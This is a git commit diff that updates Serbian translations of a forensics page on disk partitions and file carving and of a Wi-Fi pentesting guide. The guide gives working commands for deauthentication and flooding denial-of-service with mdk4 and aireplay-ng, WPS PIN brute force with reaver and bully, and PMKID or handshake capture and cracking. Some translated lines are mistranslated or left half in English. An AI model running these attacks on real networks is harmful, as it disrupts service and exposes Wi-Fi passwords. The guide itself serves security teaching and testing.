Translated ['src/generic-methodologies-and-resources/basic-forensic-meth

This commit is contained in:
Translator 2025-07-10 12:29:27 +00:00
parent 162fdfcaf8
commit 83c2dbae46
14 changed files with 444 additions and 360 deletions

View File

@ -4,12 +4,12 @@
## Partitions
Hard disk ili **SSD disk može sadržati različite particije** sa ciljem fizičkog razdvajanja podataka.\
Hard disk ili **SSD disk može sadržati različite particije** sa ciljem fizičkog odvajanja podataka.\
**Minimalna** jedinica diska je **sektor** (normalno sastavljen od 512B). Tako da, veličina svake particije mora biti višekratnik te veličine.
### MBR (master Boot Record)
Dodeljuje se u **prvom sektoru diska nakon 446B boot koda**. Ovaj sektor je ključan za indikaciju PC-u šta i odakle treba da se montira particija.\
Dodeljuje se u **prvom sektoru diska nakon 446B boot koda**. Ovaj sektor je ključan za označavanje PC-u šta i odakle treba da se montira particija.\
Omogućava do **4 particije** (najviše **samo 1** može biti aktivna/**bootable**). Međutim, ako vam je potrebno više particija, možete koristiti **proširene particije**. **Zadnji bajt** ovog prvog sektora je potpis boot zapisa **0x55AA**. Samo jedna particija može biti označena kao aktivna.\
MBR omogućava **maksimalno 2.2TB**.
@ -36,10 +36,10 @@ Od **bajtova 440 do 443** MBR-a možete pronaći **Windows Disk Signature** (ako
| Offset | Length | Item |
| --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Aktivna zastavica (0x80 = bootable) |
| 0 (0x00) | 1 (0x01) | Aktivna oznaka (0x80 = bootable) |
| 1 (0x01) | 1 (0x01) | Početna glava |
| 2 (0x02) | 1 (0x01) | Početni sektor (bitovi 0-5); gornji bitovi cilindra (6- 7) |
| 3 (0x03) | 1 (0x01) | Početni cilindar najniži 8 bitova |
| 3 (0x03) | 1 (0x01) | Početni cilindar najniži 8 bitova |
| 4 (0x04) | 1 (0x01) | Kod tipa particije (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Kraj glave |
| 6 (0x06) | 1 (0x01) | Kraj sektora (bitovi 0-5); gornji bitovi cilindra (6- 7) |
@ -47,7 +47,7 @@ Od **bajtova 440 do 443** MBR-a možete pronaći **Windows Disk Signature** (ako
| 8 (0x08) | 4 (0x04) | Sektori koji prethode particiji (little endian) |
| 12 (0x0C) | 4 (0x04) | Sektori u particiji |
Da biste montirali MBR u Linux-u, prvo morate dobiti početni offset (možete koristiti `fdisk` i komandu `p`)
Da biste montirali MBR u Linux-u, prvo morate dobiti početni offset (možete koristiti `fdisk` i `p` komandu)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
@ -60,7 +60,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (Logičko adresiranje blokova)**
**Logičko adresiranje blokova** (**LBA**) je uobičajen sistem koji se koristi za **specifikaciju lokacije blokova** podataka koji se čuvaju na uređajima za skladištenje računara, obično na sekundarnim sistemima skladištenja kao što su hard diskovi. LBA je posebno jednostavan linearni sistem adresiranja; **blokovi se lociraju pomoću celobrojnog indeksa**, pri čemu je prvi blok LBA 0, drugi LBA 1, i tako dalje.
**Logičko adresiranje blokova** (**LBA**) je uobičajen sistem koji se koristi za **specifikaciju lokacije blokova** podataka koji se čuvaju na uređajima za skladištenje računara, obično na sekundarnim sistemima skladištenja kao što su hard diskovi. LBA je posebno jednostavan linearni sistem adresiranja; **blokovi se nalaze pomoću celobrojnog indeksa**, pri čemu je prvi blok LBA 0, drugi LBA 1, i tako dalje.
### GPT (GUID tabela particija)
@ -72,8 +72,8 @@ GUID tabela particija, poznata kao GPT, favorizovana je zbog svojih poboljšanih
**Otpornost podataka i oporavak**:
- **Redundancija**: Za razliku od MBR-a, GPT ne ograničava particionisanje i podatke o pokretanju na jedno mesto. Replikuje ove podatke širom diska, poboljšavajući integritet i otpornost podataka.
- **Ciklična kontrola redundancije (CRC)**: GPT koristi CRC za osiguranje integriteta podataka. Aktivno prati oštećenje podataka, a kada se otkrije, GPT pokušava da povrati oštećene podatke sa druge lokacije na disku.
- **Redundancija**: Za razliku od MBR-a, GPT ne ograničava particionisanje i podatke za pokretanje na jedno mesto. Replikuje ove podatke širom diska, poboljšavajući integritet i otpornost podataka.
- **Ciklična kontrola redundancije (CRC)**: GPT koristi CRC za osiguranje integriteta podataka. Aktivno prati oštećenje podataka, a kada se otkrije, GPT pokušava da povrati oštećene podatke iz druge lokacije na disku.
**Zaštitni MBR (LBA0)**:
@ -93,35 +93,35 @@ U operativnim sistemima koji podržavaju **GPT-bazirano pokretanje putem BIOS**
Zaglavlje tabele particija definiše upotrebljive blokove na disku. Takođe definiše broj i veličinu unosa particija koji čine tabelu particija (offseti 80 i 84 u tabeli).
| Offset | Dužina | Sadržaj |
| Offset | Length | Contents |
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bajtova| Potpis ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ili 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8) na little-endian mašinama) |
| 8 (0x08) | 4 bajta | Revizija 1.0 (00h 00h 01h 00h) za UEFI 2.8 |
| 12 (0x0C) | 4 bajta | Veličina zaglavlja u little endian (u bajtovima, obično 5Ch 00h 00h 00h ili 92 bajta) |
| 16 (0x10) | 4 bajta | [CRC32](https://en.wikipedia.org/wiki/CRC32) zaglavlja (offset +0 do veličine zaglavlja) u little endian, sa ovim poljem nula tokom izračunavanja |
| 20 (0x14) | 4 bajta | Rezervisano; mora biti nula |
| 24 (0x18) | 8 bajtova| Trenutni LBA (lokacija ove kopije zaglavlja) |
| 32 (0x20) | 8 bajtova| Backup LBA (lokacija druge kopije zaglavlja) |
| 40 (0x28) | 8 bajtova| Prvi upotrebljivi LBA za particije (poslednji LBA primarne tabele particija + 1) |
| 48 (0x30) | 8 bajtova| Poslednji upotrebljivi LBA (prvi LBA sekundarne tabele particija 1) |
| 56 (0x38) | 16 bajtova| Disk GUID u mešovitom endian |
| 72 (0x48) | 8 bajtova| Početni LBA niza unosa particija (uvek 2 u primarnoj kopiji) |
| 80 (0x50) | 4 bajta | Broj unosa particija u nizu |
| 84 (0x54) | 4 bajta | Veličina jednog unosa particije (obično 80h ili 128) |
| 88 (0x58) | 4 bajta | CRC32 niza unosa particija u little endian |
| 0 (0x00) | 8 bytes | Potpis ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ili 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8) na little-endian mašinama) |
| 8 (0x08) | 4 bytes | Revizija 1.0 (00h 00h 01h 00h) za UEFI 2.8 |
| 12 (0x0C) | 4 bytes | Veličina zaglavlja u little endian (u bajtovima, obično 5Ch 00h 00h 00h ili 92 bajta) |
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) zaglavlja (offset +0 do veličine zaglavlja) u little endian, pri čemu je ovo polje nula tokom izračunavanja |
| 20 (0x14) | 4 bytes | Rezervisano; mora biti nula |
| 24 (0x18) | 8 bytes | Trenutni LBA (lokacija ove kopije zaglavlja) |
| 32 (0x20) | 8 bytes | Backup LBA (lokacija druge kopije zaglavlja) |
| 40 (0x28) | 8 bytes | Prvi upotrebljivi LBA za particije (poslednji LBA primarne tabele particija + 1) |
| 48 (0x30) | 8 bytes | Poslednji upotrebljivi LBA (prvi LBA sekundarne tabele particija 1) |
| 56 (0x38) | 16 bytes | Disk GUID u mešovitom endian |
| 72 (0x48) | 8 bytes | Početni LBA niza unosa particija (uvek 2 u primarnoj kopiji) |
| 80 (0x50) | 4 bytes | Broj unosa particija u nizu |
| 84 (0x54) | 4 bytes | Veličina jednog unosa particije (obično 80h ili 128) |
| 88 (0x58) | 4 bytes | CRC32 niza unosa particija u little endian |
| 92 (0x5C) | \* | Rezervisano; mora biti nule za ostatak bloka (420 bajtova za veličinu sektora od 512 bajta; ali može biti više sa većim veličinama sektora) |
**Unosi particija (LBA 233)**
| Format unosa GUID particije | | |
| GUID format unosa particije | | |
| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
| Offset | Dužina | Sadržaj |
| 0 (0x00) | 16 bajtova | [GUID tipa particije](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mešovit endian) |
| 16 (0x10) | 16 bajtova | Jedinstveni GUID particije (mešovit endian) |
| 32 (0x20) | 8 bajtova | Prvi LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
| 40 (0x28) | 8 bajtova | Poslednji LBA (uključivo, obično neparan) |
| 48 (0x30) | 8 bajtova | Zastavice atributa (npr. bit 60 označava samo za čitanje) |
| 56 (0x38) | 72 bajtova | Ime particije (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kodnih jedinica) |
| Offset | Length | Contents |
| 0 (0x00) | 16 bytes | [GUID tipa particije](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mešovit endian) |
| 16 (0x10) | 16 bytes | Jedinstveni GUID particije (mešovit endian) |
| 32 (0x20) | 8 bytes | Prvi LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
| 40 (0x28) | 8 bytes | Poslednji LBA (uključivo, obično neparan) |
| 48 (0x30) | 8 bytes | Zastavice atributa (npr. bit 60 označava samo za čitanje) |
| 56 (0x38) | 72 bytes | Ime particije (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kodnih jedinica) |
**Tipovi particija**
@ -169,11 +169,11 @@ Ključne komponente korenskog direktorijuma, posebno za FAT12 i FAT16, uključuj
### EXT
**Ext2** je najčešći sistem datoteka za **ne-journal** particije (**particije koje se ne menjaju mnogo**) kao što je particija za pokretanje. **Ext3/4** su **journal** i obično se koriste za **ostale particije**.
**Ext2** je najčešći sistem datoteka za **ne-journaled** particije (**particije koje se ne menjaju mnogo**) kao što je particija za pokretanje. **Ext3/4** su **journaled** i obično se koriste za **ostale particije**.
## **Metapodaci**
Neke datoteke sadrže metapodatke. Ove informacije se odnose na sadržaj datoteke koji ponekad može biti zanimljiv analitičaru jer, u zavisnosti od tipa datoteke, može sadržati informacije kao što su:
Neke datoteke sadrže metapodatke. Ove informacije se odnose na sadržaj datoteke koji ponekad može biti zanimljiv analitičaru, jer u zavisnosti od tipa datoteke, može sadržati informacije kao što su:
- Naslov
- Verzija MS Office-a koja se koristi
@ -187,11 +187,11 @@ Možete koristiti alate kao što su [**exiftool**](https://exiftool.org) i [**Me
## **Oporavak obrisanih datoteka**
### Zabeležene obrisane datoteke
### Zapisane obrisane datoteke
Kao što je ranije viđeno, postoji nekoliko mesta gde je datoteka još uvek sačuvana nakon što je "obrisana". To je zato što obično brisanje datoteke iz sistema datoteka samo označava da je obrisana, ali podaci nisu dodirnuti. Tada je moguće ispitati registre datoteka (kao što je MFT) i pronaći obrisane datoteke.
Takođe, OS obično čuva mnogo informacija o promenama u sistemu datoteka i rezervnim kopijama, tako da je moguće pokušati da ih iskoristite za oporavak datoteke ili što više informacija.
Takođe, OS obično čuva mnogo informacija o promenama u sistemu datoteka i rezervnim kopijama, tako da je moguće pokušati koristiti ih za oporavak datoteke ili što više informacija.
{{#ref}}
file-data-carving-recovery-tools.md
@ -199,7 +199,7 @@ file-data-carving-recovery-tools.md
### **File Carving**
**File carving** je tehnika koja pokušava da **pronađe datoteke u masi podataka**. Postoje 3 glavna načina na koje alati poput ovog funkcionišu: **Na osnovu zaglavlja i podnožja tipova datoteka**, na osnovu **struktura** tipova datoteka i na osnovu **sadržaja** same datoteke.
**File carving** je tehnika koja pokušava da **pronađe datoteke u masi podataka**. Postoje 3 glavna načina na koje alati poput ovog funkcionišu: **Na osnovu zaglavlja i podnožja tipova datoteka**, na osnovu **struktura** tipova datoteka i na osnovu **sadržaja** samog.
Napomena da ova tehnika **ne funkcioniše za vraćanje fragmentisanih datoteka**. Ako datoteka **nije smeštena u kontiguitetne sektore**, tada ova tehnika neće moći da je pronađe ili barem deo nje.
@ -221,7 +221,7 @@ file-data-carving-recovery-tools.md
### Sigurno brisanje
Očigledno, postoje načini da se **"sigurno" obrišu datoteke i deo logova o njima**. Na primer, moguće je **prepisati sadržaj** datoteke sa smešnim podacima nekoliko puta, a zatim **ukloniti** **logove** iz **$MFT** i **$LOGFILE** o datoteci, i **ukloniti kopije senki volumena**.\
Možda ćete primetiti da čak i obavljanjem te akcije može postojati **drugi delovi gde je postojanje datoteke još uvek zabeleženo**, i to je tačno, a deo posla forenzičkog stručnjaka je da ih pronađe.
Možda ćete primetiti da čak i obavljanjem te akcije može postojati **druge delove gde je postojanje datoteke još uvek zabeleženo**, i to je tačno, a deo posla forenzičkog stručnjaka je da ih pronađe.
## Reference
@ -229,6 +229,6 @@ Možda ćete primetiti da čak i obavljanjem te akcije može postojati **drugi d
- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
- **iHackLabs Sertifikovani Digitalni Forenzik Windows**
- **iHackLabs Sertifikovani Digitalni Forenzika Windows**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Osnovne komande za Wifi
## Wifi osnovne komande
```bash
ip link show #List available interfaces
iwconfig #List available interfaces
@ -56,7 +56,7 @@ sudo python setup.py install # Install any dependencies
Ovaj alat automatizuje **WPS/WEP/WPA-PSK** napade. Automatski će:
- Postaviti interfejs u režim nadgledanja
- Skenerirati moguće mreže - I omogućiti vam da odaberete žrtvu(e)
- Skenirati moguće mreže - I omogućiti vam da odaberete žrtvu(e)
- Ako je WEP - Pokrenuti WEP napade
- Ako je WPA-PSK
- Ako je WPS: Pixie dust napad i bruteforce napad (budite oprezni, bruteforce napad može potrajati dugo). Imajte na umu da ne pokušava null PIN ili PIN-ove iz baze/pregenerisane PIN-ove.
@ -67,17 +67,17 @@ Ovaj alat automatizuje **WPS/WEP/WPA-PSK** napade. Automatski će:
## Pregled napada
- **DoS**
- Deautentifikacija/disasocijacija -- Isključiti sve (ili specifični ESSID/klijent)
- Nasumični lažni AP-ovi -- Sakriti mreže, moguće srušiti skener
- Deautentifikacija/disocijacija -- Isključiti sve (ili specifični ESSID/klijent)
- Nasumični lažni AP-ovi -- Sakriti mreže, mogući pad skenera
- Preopteretiti AP -- Pokušati da ubije AP (obično nije vrlo korisno)
- WIDS -- Igrati se sa IDS-om
- TKIP, EAPOL -- Neki specifični napadi za DoS neke AP-ove
- **Cracking**
- **Kriptovanje**
- Razbiti **WEP** (nekoliko alata i metoda)
- **WPA-PSK**
- **WPS** pin "Brute-Force"
- **WPA PMKID** bruteforce
- \[DoS +] **WPA handshake** hvatanje + Razbijanje
- \[DoS +] **WPA handshake** hvatanje + Kriptovanje
- **WPA-MGT**
- **Hvatanje korisničkog imena**
- **Bruteforce** akreditivi
@ -95,7 +95,7 @@ Ovaj alat automatizuje **WPS/WEP/WPA-PSK** napade. Automatski će:
**Opis iz** [**ovde**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**Deautentifikacija** napadi, uobičajena metoda u Wi-Fi hakovanju, uključuju falsifikovanje "menadžerskih" okvira kako bi se **prisilno isključili uređaji sa mreže**. Ovi nešifrovani paketi obmanjuju klijente da veruju da dolaze iz legitimne mreže, omogućavajući napadačima da prikupe WPA handshakes u svrhu razbijanja ili da trajno ometaju mrežne veze. Ova taktika, zastrašujuća u svojoj jednostavnosti, široko se koristi i ima značajne posledice za bezbednost mreže.
**Deautentifikacija** napadi, uobičajena metoda u Wi-Fi hakovanju, uključuju falsifikovanje "menadžerskih" okvira kako bi se **prisilno isključili uređaji iz mreže**. Ovi nešifrovani paketi obmanjuju klijente da veruju da dolaze iz legitimne mreže, omogućavajući napadačima da prikupe WPA handshakes u svrhu kriptovanja ili da trajno ometaju mrežne veze. Ova taktika, zastrašujuća u svojoj jednostavnosti, široko se koristi i ima značajne posledice za bezbednost mreže.
**Deautentifikacija koristeći Aireplay-ng**
```
@ -124,7 +124,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
**U** [**ovde**](https://en.kali.tools/?p=864)**.**
**NAPAD MODE b: Flooding Beacona**
**MOD napada b: Flooding Beacona**
Šalje beacon okvire kako bi prikazao lažne AP-ove klijentima. Ovo ponekad može srušiti mrežne skener-e, pa čak i drajvere!
```bash
@ -134,7 +134,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
```
**ATTACK MODE a: Odbijanje Usluge Autentifikacije**
**ATTACK MODE a: Authentication Denial-Of-Service**
Slanje autentifikacionih okvira svim dostupnim pristupnim tačkama (AP) unutar dometa može preopteretiti ove AP, posebno kada je uključeno više klijenata. Ovaj intenzivan saobraćaj može dovesti do nestabilnosti sistema, uzrokujući da neki AP zamrznu ili čak resetuju.
```bash
@ -156,9 +156,9 @@ Slanje nasumičnih ili duplih paketa različitim QoS redovima može aktivirati M
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**ATTACK MODE e: EAPOL Start and Logoff Packet Injection**
**NAPAD MODE e: EAPOL Start i Logoff Paketi Injekcija**
Flooding an AP with **EAPOL Start frames** creates **fake sessions**, overwhelming the AP and blocking legitimate clients. Alternatively, injecting **fake EAPOL Logoff messages** forcibly disconnects clients, both methods effectively disrupt network service.
Flooding an AP with **EAPOL Start frames** creates **fake sessions**, overwhelming the AP and blocking legitimate clients. Alternativno, injecting **fake EAPOL Logoff messages** forcibly disconnects clients, both methods effectively disrupt network service.
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
@ -169,7 +169,7 @@ Različiti napadi na upravljanje vezama i rutiranje u mrežama.
**ATTACK MODE w: WIDS Zbunjenost**
Kros-konekcija klijenata na više WDS čvorova ili lažnih rogue AP-ova može manipulisati sistemima za otkrivanje i prevenciju upada, stvarajući zabunu i potencijalnu zloupotrebu sistema.
Kros-konekcija klijenata na više WDS čvorova ili lažnih rogue AP-ova može manipulisati sistemima za otkrivanje i prevenciju upada, stvarajući konfuziju i potencijalnu zloupotrebu sistema.
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
@ -195,9 +195,9 @@ Postoje 2 glavna alata za izvođenje ove akcije: Reaver i Bully.
- **Reaver** je dizajniran da bude robustan i praktičan napad protiv WPS-a, i testiran je protiv širokog spektra pristupnih tačaka i WPS implementacija.
- **Bully** je **nova implementacija** WPS brute force napada, napisana u C. Ima nekoliko prednosti u odnosu na originalni reaver kod: manje zavisnosti, poboljšane performanse memorije i CPU-a, ispravno rukovanje endijanošću, i robusniji set opcija.
Napad koristi **ranjivost WPS PIN-a**, posebno izlaganje prvih četiri cifre i ulogu poslednje cifre kao kontrolnog zbira, olakšavajući napad brute-force. Međutim, odbrana od brute-force napada, kao što je **blokiranje MAC adresa** agresivnih napadača, zahteva **rotaciju MAC adresa** kako bi se napad nastavio.
Napad koristi **ranjivost WPS PIN-a**, posebno izlaganje prvih četiri cifre i ulogu poslednje cifre kao kontrolnog zbira, olakšavajući napad brute-force. Međutim, odbrana protiv brute-force napada, kao što je **blokiranje MAC adresa** agresivnih napadača, zahteva **rotaciju MAC adresa** kako bi se napad nastavio.
Nakon dobijanja WPS PIN-a pomoću alata kao što su Bully ili Reaver, napadač može deduktivno doći do WPA/WPA2 PSK, obezbeđujući **trajni pristup mreži**.
Nakon dobijanja WPS PIN-a pomoću alata kao što su Bully ili Reaver, napadač može da dedukuje WPA/WPA2 PSK, obezbeđujući **trajni pristup mreži**.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
@ -206,14 +206,14 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Ovaj rafiniran pristup cilja WPS PIN-ove koristeći poznate ranjivosti:
1. **Prethodno otkriveni PIN-ovi**: Iskoristite bazu podataka poznatih PIN-ova povezanih sa specifičnim proizvođačima za koje je poznato da koriste uniformne WPS PIN-ove. Ova baza podataka korelira prva tri okteta MAC adresa sa verovatnim PIN-ovima za ove proizvođače.
1. **Pre-otkriveni PIN-ovi**: Iskoristite bazu podataka poznatih PIN-ova povezanih sa specifičnim proizvođačima za koje je poznato da koriste uniformne WPS PIN-ove. Ova baza podataka korelira prva tri okteta MAC adresa sa verovatnim PIN-ovima za ove proizvođače.
2. **Algoritmi za generisanje PIN-ova**: Iskoristite algoritme kao što su ComputePIN i EasyBox, koji izračunavaju WPS PIN-ove na osnovu MAC adrese AP-a. Arcadyan algoritam dodatno zahteva ID uređaja, dodajući sloj u procesu generisanja PIN-a.
### WPS Pixie Dust napad
**Dominique Bongard** je otkrio grešku u nekim pristupnim tačkama (AP) u vezi sa kreiranjem tajnih kodova, poznatih kao **nonces** (**E-S1** i **E-S2**). Ako se ovi nonces mogu otkriti, razbijanje WPS PIN-a AP-a postaje lako. AP otkriva PIN unutar posebnog koda (hash) kako bi dokazao da je legitiman i da nije lažni (rogue) AP. Ovi nonces su suštinski "ključevi" za otključavanje "sefa" koji sadrži WPS PIN. Više o ovome možete pronaći [ovde](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
**Dominique Bongard** je otkrio grešku u nekim pristupnim tačkama (AP) u vezi sa kreiranjem tajnih kodova, poznatih kao **nonces** (**E-S1** i **E-S2**). Ako se ovi nonces mogu otkriti, razbijanje WPS PIN-a AP-a postaje lako. AP otkriva PIN unutar posebnog koda (hash) kako bi dokazao da je legitiman i da nije lažni (rogue) AP. Ovi nonces su suštinski "ključevi" za otključavanje "sef-a" koji sadrži WPS PIN. Više o ovome možete pronaći [ovde](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
U jednostavnim rečima, problem je u tome što neki AP-ovi nisu koristili dovoljno nasumične ključeve za enkripciju PIN-a tokom procesa povezivanja. To čini PIN ranjivim na pogađanje sa spoljnje strane mreže (offline brute force napad).
U jednostavnim terminima, problem je u tome što neki AP-ovi nisu koristili dovoljno nasumične ključeve za enkripciju PIN-a tokom procesa povezivanja. To čini PIN ranjivim na pogađanje sa spoljne strane mreže (offline brute force napad).
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
@ -254,7 +254,7 @@ Tako slomljen i neupotrebljavan danas. Samo znajte da _**airgeddon**_ ima WEP op
### PMKID
U 2018. godini, **hashcat** [je otkrio](https://hashcat.net/forum/thread-7717.html) novu metodu napada, jedinstvenu jer zahteva **samo jedan paket** i ne zahteva da bilo koji klijenti budu povezani na ciljani AP—samo interakciju između napadača i AP.
U 2018. godini, **hashcat** [je otkrio](https://hashcat.net/forum/thread-7717.html) novu metodu napada, jedinstvenu jer zahteva **samo jedan paket** i ne zahteva da se bilo koji klijenti povežu na ciljani AP—samo interakciju između napadača i AP.
Mnogi moderni ruteri dodaju **opcionalno polje** u **prvom EAPOL** okviru tokom asocijacije, poznato kao `Robust Security Network`. Ovo uključuje `PMKID`.
@ -283,9 +283,9 @@ hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
Napomena: format ispravnog hasha sadrži **4 dela**, kao što je: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. Ako vaš **sadrži samo** **3 dela**, onda je **neispravan** (PMKID snimak nije bio validan).
Napomena da format ispravnog hasha sadrži **4 dela**, kao što je: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Ako vaš **sadrži samo** **3 dela**, onda je **neispravan** (PMKID snimak nije bio validan).
Imajte na umu da `hcxdumptool` **takođe snima rukovanja** (nešto poput ovoga će se pojaviti: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Možete **pretvoriti** **rukovanja** u **hashcat**/**john** format koristeći `cap2hccapx`.
Imajte na umu da `hcxdumptool` **takođe snima rukovanja** (nešto poput ovoga će se pojaviti: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Možete **pretvoriti** **rukovanja** u **hashcat**/**john** format koristeći `cap2hccapx`
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -293,28 +293,28 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_Uočio sam da neki rukohvati uhvaćeni ovim alatom nisu mogli biti razbijeni čak i kada se zna tačna lozinka. Preporučujem da se rukohvati uhvate i na tradicionalan način ako je moguće, ili da se uhvati nekoliko njih koristeći ovaj alat._
_Uočio sam da neki rukovanja uhvaćena ovim alatom nisu mogla da se razbiju čak i kada se zna tačna lozinka. Preporučujem da se rukovanja uhvate i na tradicionalan način ako je moguće, ili da se uhvati nekoliko njih koristeći ovaj alat._
### Hvatanje rukohvata
### Hvatanje rukovanja
Napad na **WPA/WPA2** mreže može se izvršiti hvatanjem **rukohvata** i pokušajem da se **razbije** lozinka **offline**. Ovaj proces uključuje praćenje komunikacije određene mreže i **BSSID** na određenom **kanalu**. Evo pojednostavljenog vodiča:
Napad na **WPA/WPA2** mreže može se izvršiti hvatanjem **rukovanja** i pokušajem da se **razbije** lozinka **offline**. Ovaj proces uključuje praćenje komunikacije određene mreže i **BSSID** na određenom **kanalu**. Evo pojednostavljenog vodiča:
1. Identifikujte **BSSID**, **kanal** i **povezanog klijenta** ciljne mreže.
2. Koristite `airodump-ng` za praćenje mrežnog saobraćaja na navedenom kanalu i BSSID-u, nadajući se da ćete uhvatiti rukohvat. Komanda će izgledati ovako:
2. Koristite `airodump-ng` za praćenje mrežnog saobraćaja na navedenom kanalu i BSSID-u, nadajući se da ćete uhvatiti rukovanje. Komanda će izgledati ovako:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
3. Da biste povećali šanse za hvatanje handshake-a, privremeno isključite klijenta iz mreže kako biste primorali ponovnu autentifikaciju. Ovo se može uraditi koristeći `aireplay-ng` komandu, koja šalje pakete deautentifikacije klijentu:
3. Da biste povećali šanse za hvatanje rukovanja, privremeno isključite klijenta iz mreže kako biste primorali ponovnu autentifikaciju. Ovo se može uraditi koristeći komandu `aireplay-ng`, koja šalje pakete deautentifikacije klijentu:
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
_Napomena da, kada je klijent deautentifikovan, može pokušati da se poveže na drugi AP ili, u drugim slučajevima, na drugu mrežu._
_Napomena da, pošto je klijent bio deautentifikovan, može pokušati da se poveže na drugi AP ili, u drugim slučajevima, na drugu mrežu._
Kada se u `airodump-ng` pojavi neka informacija o rukovanju, to znači da je rukovanje uhvaćeno i možete prestati sa slušanjem:
![](<../../images/image (172) (1).png>)
Kada je rukovanje uhvaćeno, možete ga **provaliti** pomoću `aircrack-ng`:
Kada je rukovanje uhvaćeno, možete ga **provaliti** sa `aircrack-ng`:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
@ -346,7 +346,7 @@ U **preduzetničkim WiFi postavkama, naići ćete na različite metode autentifi
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
1. **EAP-GTC (Generic Token Card)**:
- Ova metoda podržava hardverske tokene i jednokratne lozinke unutar EAP-PEAP. Za razliku od MSCHAPv2, ne koristi izazov između partnera i šalje lozinke u običnom tekstu pristupnoj tački, što predstavlja rizik od napada na smanjenje sigurnosti.
- Ova metoda podržava hardverske tokene i jednokratne lozinke unutar EAP-PEAP. Za razliku od MSCHAPv2, ne koristi izazov između partnera i šalje lozinke u čistom tekstu pristupnoj tački, što predstavlja rizik od napada na smanjenje sigurnosti.
2. **EAP-MD5 (Message Digest 5)**:
- Uključuje slanje MD5 heša lozinke sa klijenta. **Nije preporučeno** zbog ranjivosti na napade rečnikom, nedostatka autentifikacije servera i nemogućnosti generisanja WEP ključeva specifičnih za sesiju.
3. **EAP-TLS (Transport Layer Security)**:
@ -354,42 +354,42 @@ U **preduzetničkim WiFi postavkama, naići ćete na različite metode autentifi
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
